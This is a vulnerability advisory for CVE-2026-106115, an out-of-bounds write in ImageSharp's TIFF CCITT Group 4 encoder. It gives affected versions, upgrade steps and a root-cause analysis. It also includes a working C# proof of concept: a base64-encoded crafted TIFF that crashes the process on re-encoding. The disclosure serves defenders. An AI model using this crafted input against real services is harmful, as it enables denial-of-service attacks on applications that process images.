---
id: "CVE-2026-106115"
kind: "vulnerability"
aliases: ["CVE-2026-106115", "GHSA-jjfr-hcj7-qf5w"]
title: "ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer"
severity: "high"
cvss: 7.5
epss: 0.00385
exploited: false
status: "open"
category: "package"
products: [{"name": "SixLabors.ImageSharp", "fixed": ["3.2.0"], "affected": ">= 2.1.0, < 3.2.0", "ecosystem": "nuget"}, {"name": "SixLabors.ImageSharp", "fixed": ["4.1.2"], "affected": ">= 4.0.0, < 4.1.2", "ecosystem": "nuget"}, {"name": "sixlabors imagesharp", "fixed": ["3.2.0"], "affected": ">= 2.1.0, < 3.2.0", "ecosystem": "vendor"}, {"name": "sixlabors imagesharp", "fixed": ["4.1.2"], "affected": ">= 4.0.0, < 4.1.2", "ecosystem": "vendor"}]
ecosystems: ["nuget", "vendor"]
tags: ["cwe-787", "dotnet", "image-processing", "nuget", "package", "self-hosted"]
not_affected_if: ["no-tiff-encoding", "uncompressed-tiff-output"]
published_at: "2026-10-06T18:16:53+00:00"
first_seen_at: "2026-10-26T14:21:29+00:00"
updated_at: "2026-10-26T14:30:37+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-jjfr-hcj7-qf5w", "first_seen_at": "2026-10-26T14:21:29+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106115", "first_seen_at": "2026-10-26T14:30:37+00:00"}]
---

# ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer

ImageSharp's TIFF Group 4 (T6) encoder writes beyond its output buffer when encoding a 1-bit image, so re-encoding an attacker-supplied TIFF terminates the process with an unhandled exception. The sources demonstrate a crash; they do not show code execution.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- nuget:SixLabors.ImageSharp affected >= 2.1.0, < 3.2.0 fixed 3.2.0
- nuget:SixLabors.ImageSharp affected >= 4.0.0, < 4.1.2 fixed 4.1.2
- vendor:sixlabors imagesharp affected >= 2.1.0, < 3.2.0 fixed 3.2.0
- vendor:sixlabors imagesharp affected >= 4.0.0, < 4.1.2 fixed 4.1.2

## How to check

- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` below `3.2.0` or in the `4.0.0` to `4.1.1` range.
- Search the code for `TiffEncoder` calls that re-encode decoded TIFF input, especially with inherited CCITT Group 4 metadata.

## Fix

- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line.
- Upgrade `SixLabors.ImageSharp` to `4.1.2` on the 4.x line.

## Timeline

- 2026-10-26T14:21:29+00:00 ghsa https://github.com/advisories/GHSA-jjfr-hcj7-qf5w
- 2026-10-26T14:30:37+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-106115

## From the sources

### Summary

The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.1.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.

The T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.
### Details

[`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte.

After encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span.

The default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.

### Tested environment

- Published NuGet package: `SixLabors.ImageSharp` 4.1.1
- Target framework: `net8.0`
- .NET SDK: 8.0.424
- .NET runtime: 8.0.30
- Operating system: Debian GNU/Linux 12, ARM64, Docker

No active exploitation is known.

### Reproduction

Create a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`:

```csharp
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;

string mode = args.FirstOrDefault() ?? "exploit";
byte[] input = Convert.FromBase64String(
    "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");

using Image image = Image.Load(input);
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}");
Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");

using var output = new MemoryStream();
if (mode == "control")
{
    image.Save(output, new TiffEncoder { Compression = TiffCompression.None });
}
else
{
    image.Save(output, new TiffEncoder());
}

Console.WriteLine($"encoded=True bytes={output.Length}");
```

Run:

```text
dotnet run -- exploit
dotnet run -- control
```

The exploit produced exit code 134:

```text
ImageSharp=4.0.0.0
mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1
Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.
   at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)
```

The control completed with exit code 0:

```text
ImageSharp=4.0.0.0
mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1
encoded=True bytes=212
```

### Impact

One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_